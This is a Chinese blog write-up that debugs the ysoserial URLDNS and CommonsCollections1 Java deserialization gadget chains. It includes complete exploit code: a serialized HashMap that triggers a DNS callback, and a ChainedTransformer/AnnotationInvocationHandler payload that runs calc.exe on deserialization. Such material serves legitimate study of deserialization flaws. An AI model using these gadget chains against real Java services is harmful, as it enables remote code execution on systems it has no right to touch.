java反序列化-ysoserial-调试分析总结篇

Posted tr1ple

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了java反序列化-ysoserial-调试分析总结篇相关的知识,希望对你有一定的参考价值。

前言:

ysoserial很强大,花时间好好研究研究其中的利用链对于了解java语言的一些特性很有帮助,也方便打好学习java安全的基础,刚学反序列化时就分析过commoncollections,但是是跟着网上教程,自己理解也不够充分,现在重新根据自己的调试进行理解,这篇文章先分析URLDNS和commonCollections1

利用链分析:

1.urldns

技术图片 

调用链如上图所示,由hashmap的key进行hash计算时,如果key为URL类的对象,则调用key.hashcode实际为调用了URL类对象的hashcode,从而触发dns解析,这个手写exp也比较容易,设置hashCode为1为了putval时候重新计算hash,否则直接返回hashCode就触发不了dns解析了

技术图片

技术图片

到这里将触发调用URL类的hashCode

 技术图片

技术图片

exp.java:

package URLDNS;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.Arrays;
import java.util.HashMap;

public class URLDNS {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        HashMap<URL, String> obj = new HashMap<URL, String>();
        String url = "http://p9tdlo.ceye.io";
        URL a_url = new URL(url);
        Class clazz = Class.forName("java.net.URL");
        Field field = null;
        field = clazz.getDeclaredField("hashCode");
        field.setAccessible(true);
        field.set(a_url,-1);
        obj.put(a_url,"tr1ple");
        //
        //序列化
        //
        FileOutputStream fo = new FileOutputStream(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/urldns.ser");
        ObjectOutputStream obj_out = new ObjectOutputStream(fo);
        obj_out.writeObject(obj);
        obj_out.close();


        ByteArrayOutputStream  bo = new ByteArrayOutputStream();
        ObjectOutputStream bo_obj = new ObjectOutputStream(bo);
        bo_obj.writeObject(obj);
        bo_obj.close();
        String bo_str = Arrays.toString(bo.toByteArray());
        System.out.println("serialize byte code");
        System.out.println(bo_str);
    }

}

read.java

package URLDNS;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class ReadObj {
    public static void  main(String[] args) throws IOException, ClassNotFoundException {
   // System.out.println(System.getProperty("user.dir")+"/javasec-ysoserial/src/resources/4.ser");
        ObjectInputStream o = new ObjectInputStream(new FileInputStream(System.getProperty("user.dir")+"/javasec-ysoserial/src/resources/urldns.ser"));
        o.readObject();

    }
}

2.commonCollections1

技术图片

 调用链如上图所示

技术图片

 反序列化首先从invokecationhandler的readObject开始

技术图片

 然后调用lazymap的readObject

技术图片

这里是因为构造payload的时候,实际上将proxy.newinstance创建的proxy代理类传进handler,那么实际上反序列化的时候根据序列化数据的排列顺序,应该首先调用外层invokecationhandler的readObject,然后调用内部成员变量的readObject

技术图片

 原因正是在反序列化正常的流程中,defaultReadFields方法,读取序列化数据,其入口参数即外部的对象,以及该对象的类

技术图片

 在该函数内部将读取外层对象的域,并依次将其反序列化,所以这里实际上invocationhandler只是一个容器作用,将实际要反序列化的代理proxy放进去,然后就会调用proxy的readObject(),然后恢复代理的lazpmap,包括后面还要进行hashmap的readObject(lazymap作为容器将其装进去),恢复hashmap

技术图片

 将所有对象还原后,在invokecationhandler的readObject中将调用memerValues.entrySet,而我们知道被装进容器的是被代理的lazymap类,此时调用proxy代理的entrySet,那么此时将触发代理类的invoke函数

技术图片

 此时将handler中不存在entryset,此时将调用lazymap.get(“entrySet”)

技术图片

 在get函数中将调用this.factory.transform,而此时this.factory为定义的用于执行命令的转换链

技术图片

在chained转换链中,将循环调用属性iTranformers中的transformer方法

技术图片

 第一次:

第一次调用ConstantTransformer类,将直接返回iConstant

 技术图片

 而此时即返回类Runtime

技术图片

第二次: 

第二次循环进来即调用invokeTransformer来反射调用方法,并且返回object,并且这里面的方法名,和参数都是可控的,因此才能够在这里定义rce的命令,能够找到这种能够利用的类真的是牛逼。。

技术图片

 技术图片

 那么反射先拿到java.lang.class ,按道理拿到类Runtime,就可以直接反射getRunme方法,这里拿到getMethod方法,然后再反射调用Runtime的getMethod拿到getRuntime方法

第三次:

技术图片

 这里实际上就是反射调用getRuntime了,此时将返回Runtime类的实例

技术图片

第4轮:

此时已经有了Runtime类的实例,就可以调用exec执行命令了

技术图片

 此时将RCE执行clac.exe

技术图片

 技术图片

 技术图片

了解完整个触发以及调用过程就可以手写exp了,方便加深对该利用链的认识

手写exp:

 exp.java

package CommonsCollections1;
import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.*;
import java.lang.Runtime;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
//import sun.reflect.annotation.AnnotationInvocationHandler;
import java.util.Map;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Proxy;
import java.lang.reflect.InvocationHandler;

public class exp {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
      final Transformer[] trans = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",new Class[0]}
                        ),//拿到getruntime方法
                new InvokerTransformer("invoke",
                        new Class[]{Object.class,Object[].class},
                        new Object[]{null,new Object[0]}),//拿到runtime类
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new String[]{"calc.exe"})//rce
      };

      final Transformer chained = new ChainedTransformer(trans);
      final Map innerMap = new HashMap();
      final Map outMap = LazyMap.decorate(innerMap,chained);

      final Constructor<?> han_con = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
      han_con.setAccessible(true);
      InvocationHandler han = (InvocationHandler) han_con.newInstance(Override.class,outMap);

      final Map mapProxy = (Map)Proxy.newProxyInstance(exp.class.getClassLoader(),outMap.getClass().getInterfaces(),han);


      final Constructor<?> out_con = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
      out_con.setAccessible(true);
      InvocationHandler out =(InvocationHandler) out_con.newInstance(Override.class,mapProxy);

      FileOutputStream fo = new FileOutputStream(new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections1.ser"));
      ObjectOutputStream obj = new ObjectOutputStream(fo);
      obj.writeObject(out);
      obj.close();
    }
}

readObj.java

package CommonsCollections1;

import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.lang.Runtime;

//jdk<=8u71
//
public class readObj {
    public static void main(String[] args) throws IOException {
        FileInputStream fi = new FileInputStream(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections1.ser");
        ObjectInputStream  obj_in = new ObjectInputStream(fi);
        try {
            obj_in.readObject();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }
    }
}

以上是关于java反序列化-ysoserial-调试分析总结篇的主要内容,如果未能解决你的问题,请参考以下文章

浅谈java反序列化工具ysoserial

java安全——ysoserial工具URLDNS链分析

java安全——ysoserial工具URLDNS链分析

java安全——ysoserial工具URLDNS链分析

java安全——ysoserial工具URLDNS链分析

java安全——ysoserial工具URLDNS链分析